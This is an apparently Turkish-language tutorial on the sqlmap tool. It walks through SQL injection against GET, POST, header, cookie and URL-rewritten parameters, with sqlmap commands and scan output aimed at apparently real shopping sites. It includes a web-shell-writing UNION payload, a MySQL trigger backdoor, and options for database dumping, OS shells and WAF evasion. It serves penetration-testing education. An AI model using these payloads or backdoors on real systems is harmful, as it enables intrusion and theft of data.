SQLMap ile SQLi (SQL Injection) aramak

sqlmap, veritabanı kullanan web uygulamalarındaki güvenlik açıklarını bulmaya çalışan yetenekli bir araçtır. sqlmap hatalı kodlanan SQL cümlelerini suilstimal (exploit) etmeye çalışarak güvenlik açıklarını tespit eder. sqlmap açık kaynak kodlu bir araçtır (tüm yetenekler için tıklayın). Araç, verilen URL üzerinde birçok türde SQL zafiyetini araştırarak veritabanı ve çalıştığı sistemi ele geçirmeye çalışır. Özetle güvenlik hassasiyeti dikkate alınmadan kodlanmış veya yapılandırılmış veritabanı sistemi kullanan uygulamalarda açık arayarak sistemi ele geçermenin yolunu bulmaya çalışır. Suistimal edebileceği bir enjeksiyon noktası bulduğunda veritabanı ve sunucu üzerindeki verilere erişmeyi dener. Bunlar kullanıcı bilgilerinin veya mesajlaşma kayıtlarının tutulduğu tablolar, kredi kartı ve diğer finansal bilgilerin tutulduğu hassas tablolar ve sunucunun dosya sisteminde kayıtlı diğer dosyalar olabilir

sqlmap temel olarak SQL injection yani Türkçe adıyla SQL katıştırma saldırısı uygulayarak hedef sistemde bir güvenlik açığı bulmaya çalışır. Ana hedefi, çalıştırılan SQL sorguları içinde kullanıcı tarafından (client) gelen ve gerekli kontrolleri yapılmamış verileri değiştirerek SQL sorgu cümlelerini suistimal etmektir. Veritabanı sorgusuna (SQL) SQL injection (SQLi) uygulayarak dosya sistemini okuyabilir veya sunucuya dosya da kopyalayabilir. Bunu nasıl yaptığını kısaca açıklamak gerekirse şunları söyleyebilirim; çoğu veritabanı sistemi, SQL sorguları aracılığıyla dosya sistemine erişmek için (okuma/yazma) komutlara sahiptir. Örneğin aşağıdaki SQL (MySQL/MariaDB) cümlesi, bir veritabanındaki musteri tablosunun id, ad ve soyad alanlarındaki tüm verileri /temp/musteri_dump.txt dosyasına kaydetmektedir.

SELECT id, ad, soyad FROM musteri INTO OUTFILE '/temp/musteri_dump.txt';

Veritabanı sisteminin bu esnekliğini suistimal etmek için şöyle bir SQL kodu çalıştırılabilir:

union select “<? system($_REQUEST[‘cmd’]); ?>” INTO OUTFILE ‘/var/www/test/shell.php’

Yukarıdaki SQL cümlesi select’den sonra çift tırnaklar arasında belirtilen string ifadeyi /var/www/test/shell.php dosyasına kaydeder. Yani cmd parametresi ile aldığı komutları sunucu üzerinde çalıştıran ve çıktıyı döndüren bir script sunucuya kopyalanmış olur. String ifadeyi incelersek bu aslında bir PHP kodudur ve cmd parametresi ile gelen veriyi bir sistem komutu olarak çalıştırılmasını sağlar. Saldırgan bu dosyanın yolunu (URI) kullanarak web tarayıcısı ile sunucu üzerinde istediği komut çalıştırabilir. Bu sayede daha komplike araçları sunucuya yükleyerek içinde bulunduğu ağa da erişim sağlayabilir.

Dosya sisteminde yer alan bir dosyanın veritabanı sunucusunun SQL komutları kullanılarak nasıl okunabileceği ile ilgili örnek şöyledir:

INSERT INTO musteri (id, ad, soyad) VALUES (LOAD_FILE('/temp/musteri_dump.txt'));

Önemli not: sqlmap ile elde edilen bir açığı kullanarak sunucu üzerinde komut çalıştırmak (–os-cmd, –os-shell, –sql-shell) veya dosya sistemini üzerindeki bir dosyayı okumak/yazmak için (–file-read, –file-write) veritabanı sunucusunun (veritabanı prosesinin) yazma yetkisine sahip olduğu bir dizinin tam yoluna ihtiyaç vardır. sqlmap bazı ön tanımlı varsayılan dizinleri deneyebilir, bunlar genellikle yaygın kullanılan web yayın dizinleridir (örn: /var/www). sqlmap’in bu işlevlerinin çalışabilmesi için veritabanı sunucusu prosesinin yazma yetkisine sahip olduğu bir dizinin tam yoluna ve sorguyu çalıştıran veritabanı kullanıcısının dosya oluşturma (FILE priviledge) iznine ihtiyaç vardır. Diğer taraftan, genellikle bu tarz bir izne sahip olmadan da etkin veritabanı üzerinde SQL komutları çalıştırılabilir. sqlmap sistemi suistimal edecek bir açık bulabildiyse –sql-query seçeneği ile serbest şekilde SQL komutu çalıştırılabilir. Bunun için yazma yetkisine sahip olunan bir dizinin yolunu bilmeye gerek yoktur.

sqlmap’in tam destek verdiği veritabanı yönetim sistemleri şunlar: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso

sqlmap’in kontrol edebildiği güvenlik zafiyetleri (SQL injection teknikleri): boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band

sqlmap bulduğu açık üzerinden, MySQL, PostgreSQL ve Microsoft SQL Server veritabanı kullanan sistemlerin dosya sistemine erişebilir ve shell komutu çalıştırarak çıktısını döndürebilir. Dosya sistemi üzerindeki herhangi bir dosyayı indirebilir veya yükleyebilir. Bir açık bulduğunuzda, bu açığı web shell yüklemek için kullanarak sunucunun dosya sistemine daha geniş perspektifli bir erişim sağlayabilirsiniz. sqlmap bulduğu güvenlik açığını bir tcp bağlantısı kurarak bu bağlantıyı meterpreter’a veya VNC’ye bağlayabilir.

Sqlmap ile basit bir tarama nasıl yapılır

Bir web servisini taramak için bol parametreli bir URL tespit ediyoruz (-u) ve bu parametrelerin hangilerinin açık aramak için kullanılacağını belirtiyoruz (-p).

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0'

Tarama sonucunda bir zafiyet tespit edilirse, araç aşağıdaki gibi ekran çıktısı verir ve tarama oturumuna ait veriyi kaydettiği dizinin yolunu görüntüler. Aynı URL’in tekrar taranması durumunda bu dizindeki verileri kullanacaktır.

[10:09:17] [INFO] resuming back-end DBMS 'mysql' 
[10:09:17] [INFO] testing connection to the target URL
got a 302 redirect to 'https://www.ozgesite.com/tr/kategori/40?beden0=M%7Ca%7C-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL'. Do you want to follow? [Y/n] 
you have not declared cookie(s), while server wants to set its own ('cross-site-cookie=bar;cross-site-cookie=bar;same-site-cookie=foo'). Do you want to use those [Y/n] 
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: beden0 (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: beden0=M|a|-L')) OR NOT 3256=3256#&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL

    Type: UNION query
    Title: Generic UNION query (NULL) - 80 columns
    Payload: beden0=M|a|-L')) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a7171,0x487743625956684c504c6a78424e4847576a416344586a54476e52527a6b56674664416d636b596d,0x7162786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL
---
[10:09:22] [INFO] the back-end DBMS is MySQL
/usr/lib/python3/dist-packages/pkg_resources/__init__.py:116: PkgResourcesDeprecationWarning: unknown is an invalid version and will not be supported in a future release
  warnings.warn(
web application technology: Nginx
back-end DBMS: MySQL unknown (MariaDB fork)
[10:09:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/www.m.ozgesite.com'

[*] ending @ 10:09:22 /2022-05-29/

Bu temel taramada sqlmap’in verdiği çıktıyı inceleyecek olursak veritabanının mysql olduğu ve beden0 adlı parametrenin blind-sql injection zafiyeti ile suistimal edildiği görülebilir. Ayrıca payload URL’i de bu çıktada yer alıyor.

SQLi (SQL Injection) açığı bulunduktan sonra neler yapılabilir

Eğer sqlmap verilen adreste bir güvenlik açığı tespit etmiş ise bu açık üzerinden ilerlenebilir. Önce -dbs parametresini ekleyerek mevcut kullanıcının görebileceği veritabanlarını adlarını alalım.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile

Bu komut bize veritabanlarını listeleyecek. İki veritabanı listelendi: information ve ozgesite_bellek.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile -D 'ozgesite_bellek' -tables

Komutumuza bazı yeni parametreler ekledik. Bunların listesini sayfanın sonunda bulabilirsiniz. Özellikle –mobile parametresi önemli. Sitenin mobile için tasarlanmış bir başka versiyonu olabilir, genellikle css kodları değişse de kodlama ve SQL sorgularında da farklılıklar olabilir. Biz özellikle 302 ile redirect edilmemek ve mobile sürümde (www.m.ozgesite.com) kalmak için –mobile parametresini ekledik. Komutun sonunda kullandığımız -D (büyük D) ve -tables parametreleri ile tespit ettiğimiz veritabanına ait tabloları listeleyeceğiz. Komutumuzun çıktısında urunler adlı tablo geldi. Şimdi bu tablonun yapısını aşağıdaki komutla görüntüleyelim. -T parametresi ile urunler tablosunun adını belirtiyoruz.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile -D 'ozgesite_bellek' -T 'urunler' --columns

Enjeksiyon giriş noktası olarak POST isteklerini kullanmak

Eğer URL bir AJAX isteği için kullanılıyorsa ki bunun için genellikle POST metodu tercih edilir. Metodu ve açık aramak için kullanılacak parametreyi aşağıdaki gibi belirtebilirsiniz:

sqlmap -u 'https://www.alisverisitesi.com/satis/sepete_ekle_islem.asp' --data 'kitap_id=1' -p "kitap_id" --method=POST

Enjeksiyon giriş noktası olarak HTTP başlığı (header)’nı kullanmak

Programcılar genellikle kullanıcı girdisi olarak GET/POST/FILE gibi yollarla gelen verileri güvenilmez kabul eder ve kullanmadan önce güvenlik kontrollerini yapar. Halbuki istemci tarafından gelen cookie ve HTTP başlıkları gibi her tür veri işleme alınmadan önce gerekli güvenlik kontrolleri yapılmalıdır. Aşağıdaki komut HTTP header’ın parçası olan referer: verisini kullanarak bir tarama gerçekleştiriyor. Eğer bu komut başarılı şekilde suistimal edilebildiyse, muhtemelen programcı referer verisini filtreden geçirmeden bir SQL cümlesi içerisinde kullanmış demektir. Benzer şekilde; istemci taraftan gelen HTTP başlığında yer alan user-agent: verisi de SQL cümlesi içinde karşılaştırma yapmak için kullanılmış olabilir. Benzer bir diğer örnek de Host: satırıdır. Bu satır da bir saldırı için giriş noktası seçilebilir. –level değeri 5 olarak verilirse bu paragrafta sözü geçen tüm denemeler sqlmap tarafından yapılacaktır.

sqlmap -u 'https://siteadresi.gov.tr/sayfa_80.php' --header="referer:*" --level=3 

header parametresine geçtiğimiz referer:* bu başlık satırının SQL injection için sınanacağını söyler. Varsayılan olarak level=3 ve üzerindeki değerlerde referer: değeri bir saldırı giriş noktası olarak kullanılır.

Enjeksiyon giriş noktası olarak cookie’yi kullanmak

Cooki’ler (çerezler) web uygulamasının ihtiyaç duyduğu verileri sakladığı dosyalardır ve kullanıcının tarayıcısında depolanır. Cookie’ler alan adı ile ilişkili şekilde saklanır ve onu oluşturan web uygulamasının atadığı bir geçerlilik ömrüne sahipdir (örn.: 1saat, 10gün, 1ay vb). Kullanıcının web tarayıcısı alan adını ziyaret ettiğinde bu cookie içeriği HTTP istek başlığı içinde sunucuya gönderilir. Buraya kadar verdiğim bilgilerden güvenlik açısından çıkartılacak en önemli detay bu değerlerin kesinlinkle güvenilir olmadığıdır, çünkü kullanıcı tarafında tutulur ve uygun araçlar ile istenildiği gibi değiştirilebilir. Bir web uygulamasının kritik bilgileri burada tutmaması ve buradan gelen verileri güvenilmez olarak kabul etmesi ve gerekli filtrasyonları uygulaması gerekir. Aşağıdaki örnekte bir cookie değişkeninin iki farklı sqlmap yöntemiyle nasıl taranabileceğini gösterdim.

sqlmap -u "https://site.com/" --cookie='degisken1=deger1; degisken2=deger2' -p degisken1 --level=2

Cookie taramaları için -u, –cookie, -p ve –level asgari parameterelerdir ve –level değeri cookie taraması için en az 2 olmalıdır. Aynı komutun bir başka kullanım şekli de aşağıdaki gibi -p ile taranacak değişkeni belirmek yerine * karakteri ile kontrol edilecek cookie değerini belirtebiliriz.

sqlmap -u "https://site.com/" --cookie='degisken1=*; degisken2=deger2' --level=2

Aşağıdaki örnekte dil tercih seçenekleri olan bir web sitesi kullanıcının dil tercihini tuttuğu setLANGUAGE adlı bir cookie değişkenine sahip. sqlmap ile diğer cookie değerlerini de ekleyip setLANGUAGE üzerinde bir tarama gerçekleştiriyoruz. Eğer sqlmap burada bir zafiyet bulursa bu değişkenin hiç filtrelenmeden doğrudan bir SQL cümlesi içinde kullanıldığını anlayabiliriz. Aşağıdaki örnekte birçok cookie değerini kullandığımı görebilirsiniz. Bunu yapmamızın nedeni sunucudaki web uygulamasına mümkün olduğunca doğal gözükmek, uygulamanın mantıksal çalışamasını ve nasıl kodlandığını bilmediğimiz için burpsuite ile doğal bir request’ın içeriğini elde edip kullandık.

sqlmap -u 'https://www.testsite.com/tr/' --random-agent --cookie='encodedUserInfo=bnVsbA==; device=0; 55001101UID=1650272840127-4980-469-97013-4955; stayedUR=Cache; setCOUNTRY=TR; setLANGUAGE=*; setCURRENCY=TL; setCURR=1; setDIFFERENCE=1; setCacheComplete=1; userBagTimeClear=1; userBagTime=1' -p 'setLANGUAGE' -dbs --ignore-code=404 --method=POST --header='Referer: https://www.google.com/search?hl=en&q=testing' --level=2 -batch --fresh-queries --flush-session --threads=10 --risk=3

Bu örnekte simüle etmeye çalıştığımız isteği sunucu tarafında karşılayan kod POST isteklerini dikkate alıyor. Bu bir AJAX isteği aslında. referer değeri ile gerçek bir isteği simüle etmeye çalıştık. Bu komutla SQLmap risk=3 düzeyi vererek, update/insert/delete SQL’lerinin denenmesine izin verdik.

Enjeksiyon giriş noktası olarak URL_REWRITING dizinleri kullanmak

Günümüzde çoğu web sitesi SEO amaçlı url_rewriting kullanmakta. Yani scripte geçirilen GET parametreleri bir URI içinde dizinmiş gibi belirtilmekte. Örneğin normalde site.com/urunler.aspx?tur=ceket&model=klasik şeklindeki bir URL şu şekilde yeniden oluşturulmaktadır: site.com/urunler/ceket/klasik

Bu yazım şekli arama motorlarının daha çok hoşuna gider. Ancak sqlmap bu tür url_rewriting kullanımlarını tespit edemez ya da bir injeksiyon giriş noktası bulmak için uğraşmaz. Bu tür URI’lerin manuel olarak belirtilmesi gerekir. Aşağıdaki kullanımda sqlmap * karakteri koyulan her alan için enjeksiyon denemesi yapacaktır.

sqlmap -u 'site.com/urunler*/ceket*/klasik*

Veritabanına kalıcı arka kapı yerleştirmek

Giriş bölümünde bahsettiğim gibi; sqlmap ile –os-cmd ve –os-shell seçenekleri ile sunucu üzerinde sistem komutlarını çalıştırabiliyorduk. Diğer taraftan –file-write ile dosya sistemine bir dosya upload etmemiz mümkündü. Tespit edilen zafiyetin giderilmesinin ardından sqlmap veya sqlmap aracılığı ile dosya sistemine bırakılan arka kapılar erişilmez olabilir. Bunu tahmin eden bir saldırgan sisteme sonradan da erişebilmek için veritabanı sistemlerinin dahili özellikleri olan stored procedure’lar veya trigger’lar ile kalıcı arka kapılar yaratabilirler. Aşağıdaki trigger kodu MySQL için geçerlidir ve yonetici_yap adında bir tetikleyici tanımlamaktadır.

CREATE trigger yonetici_yap after insert on kullanicilar for each row
begin
update kullanicilar set yetki='yonetici' where adsoyad='ImBackd00r';
end

Yukarıdaki MySQL tetikleyicisi kullanıcılar tablosuna yeni bir kayıt eklendiğinde otomatik olarak çalıştırılır. Otomatik olarak çalıştırılan SQL koduna bakacak olursak, saldırganın siteye yeni bir üyelik açarak anında yönetici yetkisine (yetki=’yonetici’) sahip olduğu görülür. Bunun için üye olurken Ad Soyad alanına ‘ImBackd00r’ ifadesini kaydetmesi yeterlidir. Bu arka kapı tekniğinden etkilenmemek için veritabanı sistemi dikkatlice incelenmeli veya varsa güvenlik bir yedekten geri dönülmelidir.

sqlmap’in dez avantajları ve yetersiz olduğu noktalar

https://www.google.com/search?q=Inadequacies+of+sqlmap&oq=Inadequacies+of+sqlmap&aqs=chrome..69i57j33i160l4.955j0j4&client=ms-android-xiaomi-trev1&sourceid=chrome-mobile&ie=UTF-8

SQLmap enjeksiyon giriş noktaları verildiğinde olası tüm SQLi tekniklerini uygulayarak başarı sonuçlar almak mümkün. Enjeksiyon giriş noktalarını tespit etmek için –crawl seçeneği bulunsa da bu seçenek javascript üzerinden dinamik olarak yaratılan istekleri ve bu istekleri oluşturan verilerin yuvalandığı sunucu patikalarını tespit etmekde pek başarılı değildir. sqlmap’e –crawl ile birlikte –forms parametresi geçirilirse, DOM ağacı içindeki formları tespit ederek, formdaki input’ları enjeksiyon giriş noktası olarak kullanabilir. Bunun dışında sqlmap’in SQLi denemesini yapacağı adreslerin manual olarak tespil edilmesi gerekir ve bu penatrasyon uzmanının deneyimine ve sezgilerine bağlıdır. Web uygulamasının mantıksal çalışmasının sınanması ve potansiyel güvenlik hatalarının bulunması için biraz el mahareti gerekir. Bunun için burp suite programı çok tercih edilen araçlardan biridir.

sqlmap’in parametreleri

ParametreAçıklama
–batchtarama sırasında (Y/N) soruları sorulması. sqlmap kendisi karar versin.
–tamper-listWAF’ları atlatmak için kullanılacak manipülasyon script’lerinin listesini görüntüler.
–tamperWAF (web uygulaması güvenlik duvarı) atlatmak için hazırlanmış bir script’i etkinleştirir. Örneğin varnish script’i sunucudan her seferinde taze dönüt almak için sunucunun varnish ön belleğini devre dışı bırakan X-originating-IP başlık bilgisini kullanarak tarama yapılmasını sağlar. Bir sitenin hangi WAF ile korunduğunu öğrenmek için ‘wafw00f domain.com‘ komutundan faydalanabilirsiniz.
infografiği gör
–current-dbHalihazırda taranan uygulamanın kullandığı veritabanının ismini getirir.
–current-userHalihazırda taranan uygulamanın kullandığı veritabanı kullanıcısının adını getirir.
–dbsVerilen URL’i exploit edebildiyse sunucudaki veritabanı isimlerini listeler.
–usersVeritabanı kullanıcılarını listeler.
–passwordsVeritabanı kullanıcılarının parola hash’lerini listeler.
–privilegesVeritabanı kullanıcılarının yetkilerini listeler.
–rolesVeritabanı kullanıcılarının rollerini listeler.
–is-dbaVeritabanı kullanıcısının yönetici olup olmadığını görüntüler.
–dbmsUygulamanın kullandığı veritabanı türünü belirterek tarama süresini azaltabilirsiniz.
-DÜzerinde işlem yapılacak veritabanını belirtir.
-TÜzerinde işlem yapılacak tablonun adını belirtmek için kullanılır.
-CÜzerinde işlem yapılacak tablo sütununun adını belirtmek için kullanılır.
–columnsBelirtilen veritabanı (-D) ve tablonun (-T) sütunlarını getirir.
–dumpVeritabanı/tablonun tam dökümünü alır. -T,-D ve -C ile birlikte kullanılmalıdır. Dökümlerin kaydedildiği output dizini komutun icrası sonrasında ekranda görüntülenir. Sadece -D ile kullanılırsa tüm veritabanının dökümü bir CSV dosyasına kaydeder.
–dump-allEğer yapabilirse tüm veritabanlarının tüm tablolarının dökümünü alır.
–dump-formatAlınacak dökümün biçimini ayarlar. CSV, HTML ve SQLITE biçimlerinden biri olabilir. CSV kullanılıyorsa ayraç olarak hangi karakterin (tab, virgül, boşluk vb) ne olacağı –csv-del parametresi ile belirlenebilir.
–exclude-sysdbs–dump-all ile birlikte kullanıldığında sistem veritabanlarını dışarıda bırakır, sadece kullanıcı veritabanlarının dökümünü alır.
–levelVarsayılan değeri 1’dir ,enfazla 5 olabilir. Bir zafiyet bulunamadıysa güvenlik araştırması bu seviyeyi artırmalıdır. Yüksek değerler daha fazla giriş noktası ve türünün denenmesini sağladığından taramanın daha uzun sürmesine neden olur. Örneğin parametreler tüm seviyelerde her zaman GET ve POST yöntemleri ile test edilirken, HTTP Cookie başlık değerleri 2. seviyeden itibaren ve HTTP User-Agent/Referer başlıklar değerleri de 3. seviyeden itinaren test edilmeye başlanır. Sonuç olarak, bir SQL enjeksiyonunu tespit etmek ne kadar zorsa, –level değeri o kadar yüksek ayarlanmalıdır. infografiği gör
–riskSQLmap’in yapacağı testlerin risk seviyesini belirler. Ençok 3’dür. Denemeler yapılırken veritabanının veya web uygulamasının çalışmasının etkilenme riski vardır. Varsayılan değer, SQL enjeksiyon noktalarının çoğu için zararsız olan 1’dir. Risk değeri 2, yoğun sorgu zamanına dayalı SQL enjeksiyonları için testleri varsayılan düzeye ekler ve değer 3, ayrıca VEYA tabanlı SQL enjeksiyon testlerini ekler. Bazı durumlarda, bir UPDATE deyimindeki SQL enjeksiyonu gibi, VEYA tabanlı bir yükün enjekte edilmesi, tablonun tüm girişlerinin güncellenmesine yol açabilir ve bu kesinlikle saldırganın istediği şey değildir.
infografiği gör
–threadssqlmap’in yapmasını izin verilen eş zamanlı istek sayısını tanımlar. Taramanın daha hızlı tamamlanmasını sağlarken test edilen sistemde aşırı yük oluşmasına neden olabilir. İzin verilen en fazla eş zamanlı istek sayısı 10’dur.
–file-readHedef sistemin dosya sisteminden bir dosya okur.
–file-writeHedef sistemin dosya sistemine dosya yazar.
–file-destfile-write ile birlikte kullanılır ve dosyanın sunucuda hangi patikaya yazılacağını belirtir.
–sql-shellAçık bulunan hedef sistem üzerinde güvenlik araştırmacısının SQL komutları çalıştırabilmesi için bir komut kabuğu açar. MySQL ve PostgreSQL sistemlerde kullanıcı tanımlı sys_exec() ve sys_eval() fonksiyonları içeren bir ikili dosyayı sunucuya yükler ve veritabanı üzerinde bu iki işlevi oluşturur ve birini çağırır. MSSQL’de ise xp_cmdshell gizli alt programını kötüye kullanır. Eğer devre dışı bırakılmışsa sqlmap onu etkinleştirir. Eğer yoksa sqlmap onu yeniden oluşturur.
–sql-queryAktif veritabanı üzerinde bir SQL komutu çalıştırmak için kullanılır.
–os-shellAçık bulunan hedef sistem üzerinde güvenlik araştırmacısının sistem komutları çalıştırabilmesi için bir komut kabuğu açar. Bunu yapabilmesi için veritabanını çalıştıran prosesin yazma yetkisine sahip olduğu bir dizine ihtiyaç vardır. sqlmap tarafından bu dizine bir shell dosyası kopyalanır.. Bu dizinin yolu sqlmap tarafından sorulur. –batch parametresi ile çalıştırılıyorsa varsayılan dizinler denenir.
–os-cmdAçık bulunan hedef sistem üzerinde güvenlik araştırmacısının bir sistem komutu çalıştırmasını ve çıktısını görmesini sağlar. –os-shell’de olduğu gibi yazma yetkisinin bulunduğu bir dizine ihtiyaç duyar.
–web-rootTaraması yapılan web uygulamasının sunucuda kayıtlı olduğu dizinin tam yolu belirtilir. Örneğin /var/www. –sql-shell, –os-shell ve –os-cmd argümanları bu yola ihtiyaç duyar.
–crawlsqlmap’in hedef sistem üzerinde zafiyet içerme potansiyeline sahip URL’leri araştırmasını sağlar. Bu parametreye dizin derinlik miktarı verilir. crawl sadece GET parametrelerine sahip URL’leri tespit eder. Bu seçenek ile birlikte –forms seçeneği genellikle birlikte kullanılır.
–formsVerilan URL içindeki formları ve input nesnelerini tespit ederek SQLi açıklarına karşı test edilmesini sağlar.
–fingerprintsqlmap çok sayıda istek göndererek hedef sistemin işletim sistemini, sürüm bilgilerini, yama düzeyini ve veritabanının sürüm bilgilerini eldet etmeye çalışır.
–bannerVeritabanı yönetim sisteminin adı ve sürüm bilgisinin yer aldığı başlık bilgisini getirmeye çalışır.
–keep-aliveHTTP istekleri yapılırken TCP bağlantısının açık kalacağını belirtmek için kullanılır. Özellikle xmlhttprequest (AJAX) istekleri için tercih edilir.
–fresh-queriessqlmap yapılan tüm istekleri ve dönüş değerlerini oturum dosyasında saklar. Kullanıcı tarafından daha önce yapılmış bir istek tekrarlanırsa dönüş değeri yerelde depolanan oturum dosyasından getirilir, sunucuya taze bir istekte bulunmaz. Sunucu tarafındaki kodlarda veya veritabanında bir değişiklik olmuşsa bunu kaçırmış oluruz. Her seferinde istek yapılması için bu parametre kullanılır.
–flush-sessionsqlmap’in daha önce yaptığı request ve response’ları oturum dosyasında saklar. –fresh-queries anahtarında açıklandığı üzere daha önce yapılmış istekler taramayı hızlandırmak için bu oturum dosyasından cevaplanır, sunucuya taze bir istek yapılmaz. Bu anahtar –fresh-queries ile benzer işi yapar fakat tarama oturumunun başında oturum dosyasındaki tüm verileri kalıcı olarak siler. Dolayısıyla tarama sırasında taze istekler yapılması sağlanmış olur, bunun yanında da request/response’lar kalıcı olarak silinimiş ve yerini yenilerinin alması sağlanmış olur.. Bu iki anahtarın birlikte kullanımı gereksizdir.
–techniqueTest edilecek SQL enjeksiyon tekniklerini belirtir. sqlmap tarama sırasında varsayılan olarak tüm teknikleri test eder. Belli durumlarda sadece bir veya birkaç tekniğin test edilmesini isteyebilirsiniz. Bu seçenek B, E, U, S, T ve Q karakterlerinden bir kombinasyonu olabilir. B boolean-based blind, E error-based, U Unioun query-based, S stacked queries, T time-based blind ve Q inline queries tekniğinin kullanılacağını ifade eder. Bu seçeneğin varsayılan değeri BEUSTQ’dur. Dosya sistemine erişmek, işletim sistemini ele geçirmek veya Windows kayıt defteri erişmek istediğinizde, dizenin stacked queries sorgu tekniği harfini (S) içermesi gerektiğini unutmayın.
-mBu parametre taranacak URL’leri bulunduran metin dosyasının yolunu belirtir. Metin dosyasının her bir satırında bir URL yer almalıdır.
-rİstek (request) dosyasının yolunu tanımlar. -u ile bir URL belirtilebileceği gibi içerisinde cookie ve referer gibi HTTP başlıklarının yer aldığı tam bir HTTP isteği gönderilir. Bu istek örneğin daha önceden Burp Suite gibi bir araçla yakalanan bir istek olabilir. Genellikle belli bir cookie ve session ortamı üzerinden tarama yapılmak istendiğinde kullanılır.
-vsqlmap’in çalışması sırasında ekrana basılacak çıktının detay seviyesi.
infografiği gör

HTTP user-agent başlığı

–user-agent : sqlmap isteklerini yaparken sunucuya kendini hangi tarayıcı olarak tanıtacağını belirtir. Varsayılan değeri “sqlmap/1.0-dev”‘dir.

–random-agent : Bu seçenek kullanılmadığında sqlmap’in varsayılan agent string’i “sqlmap/1.0-dev” dir. Eğer kısa sürede timeout hatası alıyorsanız tarama yaptığınız web uygulamasının WAF (Web Application Firewall)’una veya IPS (Intrusion Prevention System)’ine yakalanmış olabilirsiniz. Bu seçenek WAF/IPS’i atlatmak için rasgele bir web browser agent seçer ve oturum içinde daima onu kullanarak istek yapar. Örneğin firefox,chrome,safari vb. Varsayılan agent “sqlmap/x.x.x#stable (https://sqlmap.org)” ‘dır.

–mobile : Web uygulamasına yapılan testlerin bir mobil tarayıcıdan (Android/IPhone) geliyormuş gibi taklit edilmesini sağlar. Bazı web uygulamaları tarayıcı türüne göre farklı davranış gösterebilir. Örneğin günümüzde birçok site daha iyi kullanıcı deneyimi sağlamak amacıyla mobil aygıtlar için farklı sürümler barındırır. Bu anlamda taraması yapılan web uygulaması tarafından uygun User-Agent’a sahip olunmadığı için taramasını yapmak istediğimiz web uygulamasının farklı bir sürümüne yönlendirebiliriz.Bu parametreyle sqlmap testlerini yaparken kendimizi bir mobil client olarak tanıtıyoruz.

Çok sayıda başarısız istekten sonra oturumunuzun yok edilmesini önleyin

